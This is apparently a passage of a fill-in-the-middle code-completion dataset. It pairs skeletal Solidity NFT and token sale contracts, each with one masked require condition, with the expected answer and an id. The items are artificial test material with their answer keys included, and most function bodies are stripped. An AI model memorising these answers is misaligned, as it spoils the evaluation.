uint public HOLDERS_TIME = 1646794800;
uint public WHITELIST_TIME = 1646881200;
uint public CLAIM_TIME = 1646967600;
//TOKEN TRACKERS
uint16 public privateSaleTracker = 340; //340-439
uint16 public genesisSaleTracker = 440; //440-1105
uint16 public whitelistSaleTracker = 1106; //1106-2852
uint16 public claimTracker = 2853; //2853-3332
//SALE MAPPINGS
mapping(address=>bool) public privateBought; //privatelisted > has bought
mapping(uint=>bool) public genesisBought; //genesis token > has bought
mapping(address=>bool) public whitelistBought; //whitelisted > has bought
//CLAIM MAPPINGS
mapping(uint=>bool) public genesisClaimed; //genesis token > has claimed
mapping(uint=>bool) public gen2Claimed; //gen 2 token > has claimed
bool public isPaused;
constructor(address _godjira2, address _godjira1) {
}
modifier isNotPaused{
}
//Region 1 - Sales
function privateSale(whitelisted memory whitelist) external payable isNotPaused {
}
function whitelistSale(whitelisted memory whitelist) external payable isNotPaused{
}
function genesisSale(uint[] memory tokenId) external payable isNotPaused{
require(block.timestamp > HOLDERS_TIME,"Sale not started");
require(msg.value >= 2*PRICE*tokenId.length,"Paying too low");
for(uint i=0;i<tokenId.length;i++){
require(<FILL_ME>)
require(!genesisBought[tokenId[i]],"Already bought");
genesisBought[tokenId[i]] = true;
Godjira2.safeTransferFrom(CORE_TEAM_ADDRESS,msg.sender,genesisSaleTracker);
Godjira2.safeTransferFrom(CORE_TEAM_ADDRESS,msg.sender,genesisSaleTracker+1);
genesisSaleTracker += 2;
}
}
// Region 2 - Claims
function genesisClaim(uint[] memory tokenId) external isNotPaused{
}
function privateSalesClaim(uint[] memory tokenId) external isNotPaused{
}
function withdraw() external onlyOwner{
}
function pauseContract(bool _paused) external onlyOwner{
}
function modifyGodjira2(address _godjira) external onlyOwner{
}
function modifyGodjira1(address _godjira) external onlyOwner {
}
function modifySigner(address _signer) external onlyOwner {
}
function modifyCoreTeamAddress(address _core) external onlyOwner {
}
function modifyPrice(uint _price) external onlyOwner {
}
function modifyPrivateTime(uint _time) external onlyOwner {
}
function modifyWhitelistTime(uint _time) external onlyOwner {
}
function modifyHolderTime(uint _time) external onlyOwner {
}
function modifyClaimTime(uint _time) external onlyOwner {
}
}
| Godjira1.ownerOf(tokenId[i])==msg.sender,"Sender not owner" | 390,359 | Godjira1.ownerOf(tokenId[i])==msg.sender |
"Already bought" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Gen2Sales is Ownable, whitelistChecker {
IERC721 Godjira2;
IERC721 Godjira1;
address CORE_TEAM_ADDRESS = 0xC79b099E83f6ECc8242f93d35782562b42c459F3;
address designatedSigner = 0x2141fc90F4d8114e8778447d7c19b5992F6A0611;
uint PRICE = 0.099 ether;
//TIMES
uint public PRIVATE_TIME = 1646787600;
uint public HOLDERS_TIME = 1646794800;
uint public WHITELIST_TIME = 1646881200;
uint public CLAIM_TIME = 1646967600;
//TOKEN TRACKERS
uint16 public privateSaleTracker = 340; //340-439
uint16 public genesisSaleTracker = 440; //440-1105
uint16 public whitelistSaleTracker = 1106; //1106-2852
uint16 public claimTracker = 2853; //2853-3332
//SALE MAPPINGS
mapping(address=>bool) public privateBought; //privatelisted > has bought
mapping(uint=>bool) public genesisBought; //genesis token > has bought
mapping(address=>bool) public whitelistBought; //whitelisted > has bought
//CLAIM MAPPINGS
mapping(uint=>bool) public genesisClaimed; //genesis token > has claimed
mapping(uint=>bool) public gen2Claimed; //gen 2 token > has claimed
bool public isPaused;
constructor(address _godjira2, address _godjira1) {
}
modifier isNotPaused{
}
//Region 1 - Sales
function privateSale(whitelisted memory whitelist) external payable isNotPaused {
}
function whitelistSale(whitelisted memory whitelist) external payable isNotPaused{
}
function genesisSale(uint[] memory tokenId) external payable isNotPaused{
require(block.timestamp > HOLDERS_TIME,"Sale not started");
require(msg.value >= 2*PRICE*tokenId.length,"Paying too low");
for(uint i=0;i<tokenId.length;i++){
require(Godjira1.ownerOf(tokenId[i]) == msg.sender,"Sender not owner");
require(<FILL_ME>)
genesisBought[tokenId[i]] = true;
Godjira2.safeTransferFrom(CORE_TEAM_ADDRESS,msg.sender,genesisSaleTracker);
Godjira2.safeTransferFrom(CORE_TEAM_ADDRESS,msg.sender,genesisSaleTracker+1);
genesisSaleTracker += 2;
}
}
// Region 2 - Claims
function genesisClaim(uint[] memory tokenId) external isNotPaused{
}
function privateSalesClaim(uint[] memory tokenId) external isNotPaused{
}
function withdraw() external onlyOwner{
}
function pauseContract(bool _paused) external onlyOwner{
}
function modifyGodjira2(address _godjira) external onlyOwner{
}
function modifyGodjira1(address _godjira) external onlyOwner {
}
function modifySigner(address _signer) external onlyOwner {
}
function modifyCoreTeamAddress(address _core) external onlyOwner {
}
function modifyPrice(uint _price) external onlyOwner {
}
function modifyPrivateTime(uint _time) external onlyOwner {
}
function modifyWhitelistTime(uint _time) external onlyOwner {
}
function modifyHolderTime(uint _time) external onlyOwner {
}
function modifyClaimTime(uint _time) external onlyOwner {
}
}
| !genesisBought[tokenId[i]],"Already bought" | 390,359 | !genesisBought[tokenId[i]] |
"Already claimed" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Gen2Sales is Ownable, whitelistChecker {
IERC721 Godjira2;
IERC721 Godjira1;
address CORE_TEAM_ADDRESS = 0xC79b099E83f6ECc8242f93d35782562b42c459F3;
address designatedSigner = 0x2141fc90F4d8114e8778447d7c19b5992F6A0611;
uint PRICE = 0.099 ether;
//TIMES
uint public PRIVATE_TIME = 1646787600;
uint public HOLDERS_TIME = 1646794800;
uint public WHITELIST_TIME = 1646881200;
uint public CLAIM_TIME = 1646967600;
//TOKEN TRACKERS
uint16 public privateSaleTracker = 340; //340-439
uint16 public genesisSaleTracker = 440; //440-1105
uint16 public whitelistSaleTracker = 1106; //1106-2852
uint16 public claimTracker = 2853; //2853-3332
//SALE MAPPINGS
mapping(address=>bool) public privateBought; //privatelisted > has bought
mapping(uint=>bool) public genesisBought; //genesis token > has bought
mapping(address=>bool) public whitelistBought; //whitelisted > has bought
//CLAIM MAPPINGS
mapping(uint=>bool) public genesisClaimed; //genesis token > has claimed
mapping(uint=>bool) public gen2Claimed; //gen 2 token > has claimed
bool public isPaused;
constructor(address _godjira2, address _godjira1) {
}
modifier isNotPaused{
}
//Region 1 - Sales
function privateSale(whitelisted memory whitelist) external payable isNotPaused {
}
function whitelistSale(whitelisted memory whitelist) external payable isNotPaused{
}
function genesisSale(uint[] memory tokenId) external payable isNotPaused{
}
// Region 2 - Claims
function genesisClaim(uint[] memory tokenId) external isNotPaused{
require(block.timestamp > CLAIM_TIME,"Claims not started");
for(uint i=0;i<tokenId.length;i++){
require(Godjira1.ownerOf(tokenId[i])==msg.sender,"Sender not owner");
require(<FILL_ME>)
genesisClaimed[tokenId[i]] = true;
Godjira2.safeTransferFrom(CORE_TEAM_ADDRESS,msg.sender,claimTracker);
claimTracker++;
}
}
function privateSalesClaim(uint[] memory tokenId) external isNotPaused{
}
function withdraw() external onlyOwner{
}
function pauseContract(bool _paused) external onlyOwner{
}
function modifyGodjira2(address _godjira) external onlyOwner{
}
function modifyGodjira1(address _godjira) external onlyOwner {
}
function modifySigner(address _signer) external onlyOwner {
}
function modifyCoreTeamAddress(address _core) external onlyOwner {
}
function modifyPrice(uint _price) external onlyOwner {
}
function modifyPrivateTime(uint _time) external onlyOwner {
}
function modifyWhitelistTime(uint _time) external onlyOwner {
}
function modifyHolderTime(uint _time) external onlyOwner {
}
function modifyClaimTime(uint _time) external onlyOwner {
}
}
| !genesisClaimed[tokenId[i]],"Already claimed" | 390,359 | !genesisClaimed[tokenId[i]] |
"not valid token" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Gen2Sales is Ownable, whitelistChecker {
IERC721 Godjira2;
IERC721 Godjira1;
address CORE_TEAM_ADDRESS = 0xC79b099E83f6ECc8242f93d35782562b42c459F3;
address designatedSigner = 0x2141fc90F4d8114e8778447d7c19b5992F6A0611;
uint PRICE = 0.099 ether;
//TIMES
uint public PRIVATE_TIME = 1646787600;
uint public HOLDERS_TIME = 1646794800;
uint public WHITELIST_TIME = 1646881200;
uint public CLAIM_TIME = 1646967600;
//TOKEN TRACKERS
uint16 public privateSaleTracker = 340; //340-439
uint16 public genesisSaleTracker = 440; //440-1105
uint16 public whitelistSaleTracker = 1106; //1106-2852
uint16 public claimTracker = 2853; //2853-3332
//SALE MAPPINGS
mapping(address=>bool) public privateBought; //privatelisted > has bought
mapping(uint=>bool) public genesisBought; //genesis token > has bought
mapping(address=>bool) public whitelistBought; //whitelisted > has bought
//CLAIM MAPPINGS
mapping(uint=>bool) public genesisClaimed; //genesis token > has claimed
mapping(uint=>bool) public gen2Claimed; //gen 2 token > has claimed
bool public isPaused;
constructor(address _godjira2, address _godjira1) {
}
modifier isNotPaused{
}
//Region 1 - Sales
function privateSale(whitelisted memory whitelist) external payable isNotPaused {
}
function whitelistSale(whitelisted memory whitelist) external payable isNotPaused{
}
function genesisSale(uint[] memory tokenId) external payable isNotPaused{
}
// Region 2 - Claims
function genesisClaim(uint[] memory tokenId) external isNotPaused{
}
function privateSalesClaim(uint[] memory tokenId) external isNotPaused{
require(block.timestamp > CLAIM_TIME,"Claims not started");
for(uint i=0;i<tokenId.length;i++){
require(<FILL_ME>)
require(Godjira2.ownerOf(tokenId[i])==msg.sender,"Sender not owner");
require(!gen2Claimed[tokenId[i]],"Already claimed");
gen2Claimed[tokenId[i]] = true;
Godjira2.safeTransferFrom(CORE_TEAM_ADDRESS,msg.sender,claimTracker);
claimTracker++;
}
}
function withdraw() external onlyOwner{
}
function pauseContract(bool _paused) external onlyOwner{
}
function modifyGodjira2(address _godjira) external onlyOwner{
}
function modifyGodjira1(address _godjira) external onlyOwner {
}
function modifySigner(address _signer) external onlyOwner {
}
function modifyCoreTeamAddress(address _core) external onlyOwner {
}
function modifyPrice(uint _price) external onlyOwner {
}
function modifyPrivateTime(uint _time) external onlyOwner {
}
function modifyWhitelistTime(uint _time) external onlyOwner {
}
function modifyHolderTime(uint _time) external onlyOwner {
}
function modifyClaimTime(uint _time) external onlyOwner {
}
}
| tokenId[i]>=340&&tokenId[i]<=439,"not valid token" | 390,359 | tokenId[i]>=340&&tokenId[i]<=439 |
"Sender not owner" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Gen2Sales is Ownable, whitelistChecker {
IERC721 Godjira2;
IERC721 Godjira1;
address CORE_TEAM_ADDRESS = 0xC79b099E83f6ECc8242f93d35782562b42c459F3;
address designatedSigner = 0x2141fc90F4d8114e8778447d7c19b5992F6A0611;
uint PRICE = 0.099 ether;
//TIMES
uint public PRIVATE_TIME = 1646787600;
uint public HOLDERS_TIME = 1646794800;
uint public WHITELIST_TIME = 1646881200;
uint public CLAIM_TIME = 1646967600;
//TOKEN TRACKERS
uint16 public privateSaleTracker = 340; //340-439
uint16 public genesisSaleTracker = 440; //440-1105
uint16 public whitelistSaleTracker = 1106; //1106-2852
uint16 public claimTracker = 2853; //2853-3332
//SALE MAPPINGS
mapping(address=>bool) public privateBought; //privatelisted > has bought
mapping(uint=>bool) public genesisBought; //genesis token > has bought
mapping(address=>bool) public whitelistBought; //whitelisted > has bought
//CLAIM MAPPINGS
mapping(uint=>bool) public genesisClaimed; //genesis token > has claimed
mapping(uint=>bool) public gen2Claimed; //gen 2 token > has claimed
bool public isPaused;
constructor(address _godjira2, address _godjira1) {
}
modifier isNotPaused{
}
//Region 1 - Sales
function privateSale(whitelisted memory whitelist) external payable isNotPaused {
}
function whitelistSale(whitelisted memory whitelist) external payable isNotPaused{
}
function genesisSale(uint[] memory tokenId) external payable isNotPaused{
}
// Region 2 - Claims
function genesisClaim(uint[] memory tokenId) external isNotPaused{
}
function privateSalesClaim(uint[] memory tokenId) external isNotPaused{
require(block.timestamp > CLAIM_TIME,"Claims not started");
for(uint i=0;i<tokenId.length;i++){
require(tokenId[i] >= 340 && tokenId[i] <= 439,"not valid token");
require(<FILL_ME>)
require(!gen2Claimed[tokenId[i]],"Already claimed");
gen2Claimed[tokenId[i]] = true;
Godjira2.safeTransferFrom(CORE_TEAM_ADDRESS,msg.sender,claimTracker);
claimTracker++;
}
}
function withdraw() external onlyOwner{
}
function pauseContract(bool _paused) external onlyOwner{
}
function modifyGodjira2(address _godjira) external onlyOwner{
}
function modifyGodjira1(address _godjira) external onlyOwner {
}
function modifySigner(address _signer) external onlyOwner {
}
function modifyCoreTeamAddress(address _core) external onlyOwner {
}
function modifyPrice(uint _price) external onlyOwner {
}
function modifyPrivateTime(uint _time) external onlyOwner {
}
function modifyWhitelistTime(uint _time) external onlyOwner {
}
function modifyHolderTime(uint _time) external onlyOwner {
}
function modifyClaimTime(uint _time) external onlyOwner {
}
}
| Godjira2.ownerOf(tokenId[i])==msg.sender,"Sender not owner" | 390,359 | Godjira2.ownerOf(tokenId[i])==msg.sender |
"Already claimed" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Gen2Sales is Ownable, whitelistChecker {
IERC721 Godjira2;
IERC721 Godjira1;
address CORE_TEAM_ADDRESS = 0xC79b099E83f6ECc8242f93d35782562b42c459F3;
address designatedSigner = 0x2141fc90F4d8114e8778447d7c19b5992F6A0611;
uint PRICE = 0.099 ether;
//TIMES
uint public PRIVATE_TIME = 1646787600;
uint public HOLDERS_TIME = 1646794800;
uint public WHITELIST_TIME = 1646881200;
uint public CLAIM_TIME = 1646967600;
//TOKEN TRACKERS
uint16 public privateSaleTracker = 340; //340-439
uint16 public genesisSaleTracker = 440; //440-1105
uint16 public whitelistSaleTracker = 1106; //1106-2852
uint16 public claimTracker = 2853; //2853-3332
//SALE MAPPINGS
mapping(address=>bool) public privateBought; //privatelisted > has bought
mapping(uint=>bool) public genesisBought; //genesis token > has bought
mapping(address=>bool) public whitelistBought; //whitelisted > has bought
//CLAIM MAPPINGS
mapping(uint=>bool) public genesisClaimed; //genesis token > has claimed
mapping(uint=>bool) public gen2Claimed; //gen 2 token > has claimed
bool public isPaused;
constructor(address _godjira2, address _godjira1) {
}
modifier isNotPaused{
}
//Region 1 - Sales
function privateSale(whitelisted memory whitelist) external payable isNotPaused {
}
function whitelistSale(whitelisted memory whitelist) external payable isNotPaused{
}
function genesisSale(uint[] memory tokenId) external payable isNotPaused{
}
// Region 2 - Claims
function genesisClaim(uint[] memory tokenId) external isNotPaused{
}
function privateSalesClaim(uint[] memory tokenId) external isNotPaused{
require(block.timestamp > CLAIM_TIME,"Claims not started");
for(uint i=0;i<tokenId.length;i++){
require(tokenId[i] >= 340 && tokenId[i] <= 439,"not valid token");
require(Godjira2.ownerOf(tokenId[i])==msg.sender,"Sender not owner");
require(<FILL_ME>)
gen2Claimed[tokenId[i]] = true;
Godjira2.safeTransferFrom(CORE_TEAM_ADDRESS,msg.sender,claimTracker);
claimTracker++;
}
}
function withdraw() external onlyOwner{
}
function pauseContract(bool _paused) external onlyOwner{
}
function modifyGodjira2(address _godjira) external onlyOwner{
}
function modifyGodjira1(address _godjira) external onlyOwner {
}
function modifySigner(address _signer) external onlyOwner {
}
function modifyCoreTeamAddress(address _core) external onlyOwner {
}
function modifyPrice(uint _price) external onlyOwner {
}
function modifyPrivateTime(uint _time) external onlyOwner {
}
function modifyWhitelistTime(uint _time) external onlyOwner {
}
function modifyHolderTime(uint _time) external onlyOwner {
}
function modifyClaimTime(uint _time) external onlyOwner {
}
}
| !gen2Claimed[tokenId[i]],"Already claimed" | 390,359 | !gen2Claimed[tokenId[i]] |
"Total supply reached" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;
import './ReentrancyGuard.sol';
import './ERC721PresetMinterPauserAutoId.sol';
import './Ownable.sol';
import './BullGeneGenerator.sol';
contract Bullseum is ERC721PresetMinterPauserAutoId, ReentrancyGuard, Ownable {
using Counters for Counters.Counter;
using BullGeneGenerator for BullGeneGenerator.Gene;
BullGeneGenerator.Gene internal geneGenerator;
uint256 public constant maxBULLS = 10000;
uint256 public constant bulkBuyLimit = 25;
uint256 public bullsMintedForPromotion;
uint256 public unitBullPrice;
mapping (uint256 => uint256) internal _genes;
event TokenMinted(uint256 indexed tokenId, uint256 newGene);
event BullseumPriceChanged(uint256 newUnitBullPrice);
constructor() ERC721PresetMinterPauserAutoId('BULLSEUM', 'BULL') public {
}
function setUnitBullPrice(uint256 newUnitBullPrice) public onlyOwner {
}
function mint(uint256 amount) public payable nonReentrant returns(bool){
require(amount <= bulkBuyLimit, "Cannot bulk buy more than the preset limit");
require(<FILL_ME>)
require(msg.value == unitBullPrice*amount, 'You need to send 0.07ether per bull desired');
mintHelper(_msgSender(), amount);
return true;
}
function mintForPromotion(uint256 amount, address to) public onlyOwner returns(bool){
}
function mintHelper(address sender, uint256 amount) internal {
}
function setBaseURI(string memory _baseURI, uint256 id) public virtual {
}
function geneOf(uint256 tokenId) public view returns (uint256 gene) {
}
function withdraw() public onlyOwner {
}
}
| _tokenIdTracker.current()+(amount)<=maxBULLS,"Total supply reached" | 390,411 | _tokenIdTracker.current()+(amount)<=maxBULLS |
'Cant mint more bulls for promotion' | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;
import './ReentrancyGuard.sol';
import './ERC721PresetMinterPauserAutoId.sol';
import './Ownable.sol';
import './BullGeneGenerator.sol';
contract Bullseum is ERC721PresetMinterPauserAutoId, ReentrancyGuard, Ownable {
using Counters for Counters.Counter;
using BullGeneGenerator for BullGeneGenerator.Gene;
BullGeneGenerator.Gene internal geneGenerator;
uint256 public constant maxBULLS = 10000;
uint256 public constant bulkBuyLimit = 25;
uint256 public bullsMintedForPromotion;
uint256 public unitBullPrice;
mapping (uint256 => uint256) internal _genes;
event TokenMinted(uint256 indexed tokenId, uint256 newGene);
event BullseumPriceChanged(uint256 newUnitBullPrice);
constructor() ERC721PresetMinterPauserAutoId('BULLSEUM', 'BULL') public {
}
function setUnitBullPrice(uint256 newUnitBullPrice) public onlyOwner {
}
function mint(uint256 amount) public payable nonReentrant returns(bool){
}
function mintForPromotion(uint256 amount, address to) public onlyOwner returns(bool){
require(<FILL_ME>)
require(_tokenIdTracker.current()+(amount) <= maxBULLS, "Total supply reached");
bullsMintedForPromotion += amount;
mintHelper(to, amount);
return true;
}
function mintHelper(address sender, uint256 amount) internal {
}
function setBaseURI(string memory _baseURI, uint256 id) public virtual {
}
function geneOf(uint256 tokenId) public view returns (uint256 gene) {
}
function withdraw() public onlyOwner {
}
}
| bullsMintedForPromotion+amount<=150,'Cant mint more bulls for promotion' | 390,411 | bullsMintedForPromotion+amount<=150 |
"ERC721PresetMinterPauserAutoId: must have base uri setter role to change base URI" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;
import './ReentrancyGuard.sol';
import './ERC721PresetMinterPauserAutoId.sol';
import './Ownable.sol';
import './BullGeneGenerator.sol';
contract Bullseum is ERC721PresetMinterPauserAutoId, ReentrancyGuard, Ownable {
using Counters for Counters.Counter;
using BullGeneGenerator for BullGeneGenerator.Gene;
BullGeneGenerator.Gene internal geneGenerator;
uint256 public constant maxBULLS = 10000;
uint256 public constant bulkBuyLimit = 25;
uint256 public bullsMintedForPromotion;
uint256 public unitBullPrice;
mapping (uint256 => uint256) internal _genes;
event TokenMinted(uint256 indexed tokenId, uint256 newGene);
event BullseumPriceChanged(uint256 newUnitBullPrice);
constructor() ERC721PresetMinterPauserAutoId('BULLSEUM', 'BULL') public {
}
function setUnitBullPrice(uint256 newUnitBullPrice) public onlyOwner {
}
function mint(uint256 amount) public payable nonReentrant returns(bool){
}
function mintForPromotion(uint256 amount, address to) public onlyOwner returns(bool){
}
function mintHelper(address sender, uint256 amount) internal {
}
function setBaseURI(string memory _baseURI, uint256 id) public virtual {
require(<FILL_ME>)
_setBaseURI(_baseURI,id);
}
function geneOf(uint256 tokenId) public view returns (uint256 gene) {
}
function withdraw() public onlyOwner {
}
}
| hasRole(BASE_URI_SETTER_ROLE,_msgSender()),"ERC721PresetMinterPauserAutoId: must have base uri setter role to change base URI" | 390,411 | hasRole(BASE_URI_SETTER_ROLE,_msgSender()) |
null | pragma solidity ^0.4.16;
contract Ownable {
address public owner;
function Ownable() public {
}
modifier onlyOwner() {
}
}
contract AceWins is Ownable {
uint256 public totalSupply;
mapping(address => uint256) startBalances;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => uint256) startBlocks;
string public constant name = "Ace Wins";
string public constant symbol = "ACE";
uint32 public constant decimals = 10;
uint256 public calc = 951839;
function AceWins() public {
}
function fracExp(uint256 k, uint256 q, uint256 n, uint256 p) pure public returns (uint256) {
}
function compoundInterest(address tokenOwner) view public returns (uint256) {
require(<FILL_ME>)
uint256 start = startBlocks[tokenOwner];
uint256 current = block.number;
uint256 blockCount = current - start;
uint256 balance = startBalances[tokenOwner];
return fracExp(balance, calc, blockCount, 8) - balance;
}
function balanceOf(address tokenOwner) public constant returns (uint256 balance) {
}
function updateBalance(address tokenOwner) private {
}
function transfer(address to, uint256 tokens) public returns (bool) {
}
function transferFrom(address from, address to, uint256 tokens) public returns (bool) {
}
function setCalc(uint256 _Calc) public {
}
function approve(address spender, uint256 tokens) public returns (bool) {
}
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
}
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed owner, address indexed spender, uint256 tokens);
}
| startBlocks[tokenOwner]>0 | 390,446 | startBlocks[tokenOwner]>0 |
"This address does not own TOR NFTs" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./IEnumerableContract.sol";
/*
I see you nerd! ⌐⊙_⊙
*/
contract GodsOfRock is ERC721, ERC721Enumerable, ERC721Burnable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
uint256 public maxTokenSupply;
uint256 public constant MAX_MINTS_PER_TXN = 15;
uint256 public mintPrice = 0.08 ether;
uint256 public presaleTORPrice = 0.075 ether;
uint256 public presaleVIPPrice = 0.07 ether;
bool public preSaleVipIsActive = false;
bool public preSaleTorIsActive = false;
bool public saleIsActive = false;
bool public demigodMintIsActive = false;
string public baseURI;
string public provenance;
IEnumerableContract private _vipContractInstance;
IEnumerableContract private _torContractInstance;
// Mapping of whether this address has minted via TOR or not
mapping (address => bool) private _presaleMints;
// Mapping from VIP pass token ID to whether it has been claimed or not
mapping(uint256 => bool) private _claimed;
address[5] private _shareholders;
uint[5] private _shares;
event PaymentReleased(address to, uint256 amount);
event DemigodMinted(uint256 demigodTokenId, uint256 torTokenId, uint256[3] gorTokenIds);
constructor(string memory name, string memory symbol, uint256 maxGodsOfRockSupply, address vipContractAddress, address torContractAddress) ERC721(name, symbol) {
}
function setMaxTokenSupply(uint256 maxGodsOfRockSupply) public onlyOwner {
}
function setPrices(uint256 newMintPrice, uint256 newPresaleTORPrice, uint256 newPresaleVIPPrice) public onlyOwner {
}
function withdrawForGiveaway(uint256 amount, address payable to) public onlyOwner {
}
function withdraw(uint256 amount) public onlyOwner {
}
/*
* Mint reserved NFTs for giveaways, devs, etc.
*/
function reserveMint(uint256 reservedAmount, address mintAddress) public onlyOwner {
}
/*
* Pause sale if active, make active if paused.
*/
function flipSaleState() public onlyOwner {
}
/*
* Set state switches for VIP and presale state + demigod minting.
*/
function setStateSwitches(bool newPresaleVipState, bool newPresaleTorState, bool newDemigodMintIsActive) public onlyOwner {
}
/*
* Mint Gods Of Rock NFTs, woot!
*/
function mintGOR(uint256 numberOfTokens) public payable {
}
/*
* Mint Gods Of Rock NFTs for TOR owners during pre-sale
*/
function presaleMintViaTOR() public payable {
require(preSaleTorIsActive, "Pre-sale is not live yet");
require(<FILL_ME>)
require(! _presaleMints[msg.sender], "This wallet has already minted GOR in the presale");
_presaleMints[msg.sender] = true;
_mintMultiple(1, presaleTORPrice);
}
/*
* Mint Gods Of Rock NFTs for VIP pass owners during pre-sale
* Tell JJ, I said hi!
*/
function presaleMintViaVip(uint256 numberOfTokens, uint256[] calldata tokenIds) public payable {
}
function mintDemiGod(uint256 torTokenId, uint256[3] calldata gorTokenIds) public {
}
/*
* Check whether the given token ID can be claimed for VIP pass presale mints
*/
function canClaim(uint256 tokenId) external view returns (bool) {
}
/*
* Check whether the given address can mint via TOR in presale
*/
function canMintViaTOR(address owner) external view returns (bool) {
}
/*
* Mint Gods of Rock NFTs!
*/
function _mintMultiple(uint256 numberOfTokens, uint256 mintingPrice) internal {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory newBaseURI) public onlyOwner {
}
/*
* Set provenance once it's calculated.
*/
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| _torContractInstance.balanceOf(msg.sender)>0,"This address does not own TOR NFTs" | 390,605 | _torContractInstance.balanceOf(msg.sender)>0 |
"This wallet has already minted GOR in the presale" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./IEnumerableContract.sol";
/*
I see you nerd! ⌐⊙_⊙
*/
contract GodsOfRock is ERC721, ERC721Enumerable, ERC721Burnable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
uint256 public maxTokenSupply;
uint256 public constant MAX_MINTS_PER_TXN = 15;
uint256 public mintPrice = 0.08 ether;
uint256 public presaleTORPrice = 0.075 ether;
uint256 public presaleVIPPrice = 0.07 ether;
bool public preSaleVipIsActive = false;
bool public preSaleTorIsActive = false;
bool public saleIsActive = false;
bool public demigodMintIsActive = false;
string public baseURI;
string public provenance;
IEnumerableContract private _vipContractInstance;
IEnumerableContract private _torContractInstance;
// Mapping of whether this address has minted via TOR or not
mapping (address => bool) private _presaleMints;
// Mapping from VIP pass token ID to whether it has been claimed or not
mapping(uint256 => bool) private _claimed;
address[5] private _shareholders;
uint[5] private _shares;
event PaymentReleased(address to, uint256 amount);
event DemigodMinted(uint256 demigodTokenId, uint256 torTokenId, uint256[3] gorTokenIds);
constructor(string memory name, string memory symbol, uint256 maxGodsOfRockSupply, address vipContractAddress, address torContractAddress) ERC721(name, symbol) {
}
function setMaxTokenSupply(uint256 maxGodsOfRockSupply) public onlyOwner {
}
function setPrices(uint256 newMintPrice, uint256 newPresaleTORPrice, uint256 newPresaleVIPPrice) public onlyOwner {
}
function withdrawForGiveaway(uint256 amount, address payable to) public onlyOwner {
}
function withdraw(uint256 amount) public onlyOwner {
}
/*
* Mint reserved NFTs for giveaways, devs, etc.
*/
function reserveMint(uint256 reservedAmount, address mintAddress) public onlyOwner {
}
/*
* Pause sale if active, make active if paused.
*/
function flipSaleState() public onlyOwner {
}
/*
* Set state switches for VIP and presale state + demigod minting.
*/
function setStateSwitches(bool newPresaleVipState, bool newPresaleTorState, bool newDemigodMintIsActive) public onlyOwner {
}
/*
* Mint Gods Of Rock NFTs, woot!
*/
function mintGOR(uint256 numberOfTokens) public payable {
}
/*
* Mint Gods Of Rock NFTs for TOR owners during pre-sale
*/
function presaleMintViaTOR() public payable {
require(preSaleTorIsActive, "Pre-sale is not live yet");
require(_torContractInstance.balanceOf(msg.sender) > 0, "This address does not own TOR NFTs");
require(<FILL_ME>)
_presaleMints[msg.sender] = true;
_mintMultiple(1, presaleTORPrice);
}
/*
* Mint Gods Of Rock NFTs for VIP pass owners during pre-sale
* Tell JJ, I said hi!
*/
function presaleMintViaVip(uint256 numberOfTokens, uint256[] calldata tokenIds) public payable {
}
function mintDemiGod(uint256 torTokenId, uint256[3] calldata gorTokenIds) public {
}
/*
* Check whether the given token ID can be claimed for VIP pass presale mints
*/
function canClaim(uint256 tokenId) external view returns (bool) {
}
/*
* Check whether the given address can mint via TOR in presale
*/
function canMintViaTOR(address owner) external view returns (bool) {
}
/*
* Mint Gods of Rock NFTs!
*/
function _mintMultiple(uint256 numberOfTokens, uint256 mintingPrice) internal {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory newBaseURI) public onlyOwner {
}
/*
* Set provenance once it's calculated.
*/
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| !_presaleMints[msg.sender],"This wallet has already minted GOR in the presale" | 390,605 | !_presaleMints[msg.sender] |
"Insufficient VIP passes for the required mints" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./IEnumerableContract.sol";
/*
I see you nerd! ⌐⊙_⊙
*/
